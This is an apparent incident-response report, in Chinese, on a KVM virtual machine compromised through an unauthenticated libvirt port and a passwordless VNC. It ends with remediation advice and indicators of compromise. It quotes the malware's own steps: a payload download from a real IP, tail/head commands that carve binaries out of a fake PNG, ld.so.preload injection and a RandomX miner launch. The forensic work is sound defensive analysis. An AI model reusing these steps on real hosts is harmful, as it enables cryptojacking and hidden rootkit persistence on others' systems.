我们是如何发现 KVM001 被入侵的:ustar Rootkit 与 RandomX 矿工取证记录
本文记录我们从宿主机异常负载开始,逐步确认 KVM001 遭到 root 级入侵的调查过程。公开版本不包含任何登录密码、SSH 密钥、面板凭据或可复用的管理入口。
結論先行
事發環境曾同時存在:
libvirt TCP:0.0.0.0:16509
auth_tcp:none
KVM001 VNC:0.0.0.0:10000
VNC 密碼:未設定
Guest SSH:允許 root 密碼登入
魔方雲需要連接 libvirt 管理 KVM,但「libvirt 控制地址」與「NAT 公網 IP」是兩回事。若為了讓面板顯示 NAT IP,把 libvirt 綁到公網並關閉認證,任何能連到該端口的人都可能接觸虛擬化控制平面。
已確認 KVM001 最終被取得 root、建立 ustar.service、注入 ld.so.preload 並運行 RandomX 礦工。現存日誌不足以百分之百證明初始入口就是 16509;但「未認證 libvirt + 無密碼 VNC」構成完整可行的控制鏈,也是當時最危險的入口。
魔方雲部署問題
正常的單機控制鏈應是:
魔方雲後端 → 本機 qemu:///system → libvirt → QEMU/KVM
面板與宿主機分離時,也應經 TLS、VPN 或 SSH Tunnel 進入專用管理網,而不是公開無認證 TCP。事發配置出現:
listen_tcp = 1
auth_tcp = "none"16509 不是 KVM 必須公開的普通依賴端口,而是 libvirt 遠端管理入口。auth_tcp = "none" 表示連線不經 libvirt 身份驗證。
另一個設計問題,是面板把 libvirt 連接地址和 NAT 對外 IP 混用。連接地址填 127.0.0.1 時,NAT IP 也顯示 127.0.0.1;這會誘使管理員改填公網 IP,增加暴露控制端口的可能。
可能的完整利用鏈
以下前半段是依現場配置重建的高可信技術路徑,並非從完整封包中逐條還原出的攻擊命令。
1. 掃描到 libvirt TCP
攻擊者掃描到宿主機 16509/tcp。若其監聽於全部地址且使用 auth_tcp = "none",攻擊者可能不需要魔方雲帳號或 SSH 密碼,便能直接與 libvirt API 通訊。
2. 列舉並控制 KVM
取得 libvirt 管理連線後,可能具備:
- 列舉實例名稱、UUID、狀態和 XML;
- 啟動、停止及重啟實例;
- 修改磁碟、光碟、網卡和 VNC 配置;
- 掛載攻擊者控制的 ISO/磁碟;
- 修改啟動順序;
- 在已配置 Guest Agent 時調用相關管理能力。
這不是單純的狀態查詢權限,而是接近完整的虛擬機控制平面。
3. 進入 KVM001
現場同時存在:
VNC 監聽:0.0.0.0:10000
VNC 密碼:無
攻擊者可能直接連 VNC,或經 libvirt 查詢/修改 VNC、掛載可控啟動媒體、離線修改 Guest 磁碟;若 Guest Agent 配置允許,也可能利用管理通道。到這一步,Guest 的 SSH 防火牆與登入密碼已不再是可靠邊界。
4. 取得 Guest root 並持久化
KVM001 中確認出現 root console session,隨後系統重啟:
2026-08-20 11:50:17 systemd: Received SIGINT
2026-08-20 11:50:18 login: session closed for user root
重啟後惡意服務立即啟動:
2026-08-20 11:57:28 systemd: Started ustar.service - ustar
其配置以 root 執行,且退出後每 5 秒拉起:
[Service]
User=root
Group=root
Restart=always
RestartSec=5這證明重啟前已有人取得 Guest root 並完成持久化,但日誌未完整保留從 libvirt/VNC 到 root shell 的原始連線。
5. 投放偽裝 PNG 的 Payload
服務下載:
http://185.128.105.153:26694/qlx.png
保存成 /.ustarp 後,以固定偏移切出兩個 ELF:
tail -c +16756 /.ustarp | head -c 33944584 > /.ustar5
tail -c +7184 /.ustarp | head -c 9560 > /.ustar6| 文件 | 作用 |
|---|---|
/.ustarp | 偽裝 PNG 的組合載荷 |
/.ustar5 | RandomX 礦工主程序 |
/.ustar6 | preload 注入/隱藏用共享物件 |
6. ld.so.preload 注入
惡意服務執行:
echo /.ustar6 > /etc/ld.so.preload這會讓大量動態程序優先載入該共享物件。Kernel audit 已記錄 unix_chkpwd 打開並 mmap /.ustar6,證明 preload 實際生效。因此感染後由 Guest 內普通命令得到的登入、程序和網路資訊不一定完全可信。
7. 啟動 RandomX 礦工
exec /.ustar5 3785a12b-7e04-5124-b6df-695553797845程序連接:
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333
日誌顯示算法為 rx/0,速度約 1,200–1,350 H/s、峰值約 1,519 H/s,累計消耗約 22 小時 32 分鐘 CPU。RandomX 通常用於 Monero(XMR)挖礦。
證據與推論邊界
已確認
- KVM001 被取得 root;
- 存在 root console session 與可疑重啟;
ustar.service已持久化並開機啟動;- payload、下載來源和樣本雜湊已取得;
/.ustar6被寫入 preload 並由系統程序載入;/.ustar5運行 RandomX 並連接 onion 礦池;- libvirt 曾有未認證 TCP 配置;
- KVM001 VNC 曾監聽全部地址且未設密碼。
尚不能唯一歸因
- 攻擊者是否確實從公網 16509 首次進入;
- 是否直接利用無密碼 VNC;
- 是否先取得魔方雲面板權限;
- 是否經 SSH 和重複 root 密碼進入;
- root console session 對應的真實公網來源 IP。
原因包括 preload Rootkit 降低 Guest 日誌可信度、NAT 隱藏來源、缺少 libvirt/VNC/API 審計與完整封包、部分日誌輪替。
準確結論是:現場存在足以造成完整控制的魔方雲/libvirt 部署缺陷,且虛擬機同期確實遭 root 級植入;但缺少把初始入口唯一鎖定為某一端口的原始審計證據。
修復建議
拆分控制地址與 NAT IP
面板應分成:
Libvirt URI:qemu:///system 或受保護管理地址
NAT Public IP:端口映射使用的公網 IP
不能再用 libvirt host 值生成 NAT 規則。
關閉遠端 libvirt 明文接口
- 單機使用
qemu:///system; - 關閉並 mask libvirt TCP socket;
- 防火牆繼續阻擋 16509;
- 遠端管理改用 TLS、VPN 或 SSH Tunnel;
- 禁止
auth_tcp = "none"。
收緊 VNC
- 僅綁定 localhost 或獨立管理網;
- 使用強隨機、短時有效密碼;
- 經帶時效的 WebSocket proxy 訪問;
- 禁止
0.0.0.0 + 無密碼。
Guest 和審計
- 禁止 SSH root 密碼登入,僅允許密鑰;
- 每台 VM 使用不同憑證;
- 監控 systemd、
/etc/ld.so.preload和根目錄隱藏文件; - 集中保存面板操作、libvirt API、VNC、NAT、Guest Agent 日誌至少 30–90 天。
IOC
185.128.105.153:26694
103.103.245.70:59839
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333
/.ustarp
/.ustar5
/.ustar6
/etc/systemd/system/ustar.service
/etc/ld.so.preload
SHA256:
97a22d9b720fd245b3d6bec22043a6dd0875746f2099c0e26b1c1299b5f8b0b2 /.ustarp
4ed71e4914eccb91108a84172f7766d6dcb3f911d7d253e9ed1a3fa42d0bce73 /.ustar5
97d18ba592cf5ce20dc38ff5a79323967edca7cfe3027bc16914b5c5be98f5d6 /.ustar6
最終利用鏈
掃描 16509
→ 無認證連接 libvirt
→ 列舉/控制 KVM001
→ 經 VNC、磁碟或 Guest 管理通道取得 root
→ 建立 ustar.service
→ 下載偽裝 PNG payload
→ ld.so.preload 注入
→ 啟動 RandomX 礦工
利用鏈後半段有完整實機證據;前半段是依當時暴露配置得到的高可信復原,不是已由網路取證唯一證實的入口。公開討論時必須保留這項區分。





![[Critical] 魔方云 KVM 节点管理地址与 NAT 公网地址混用,可能导致未认证 libvirt 控制面暴露并造成虚拟机完全接管](https://static.hzjcp.com/uploads/news/20260826/7605441638103ae64493182e0fd29a5f475edba2.png)
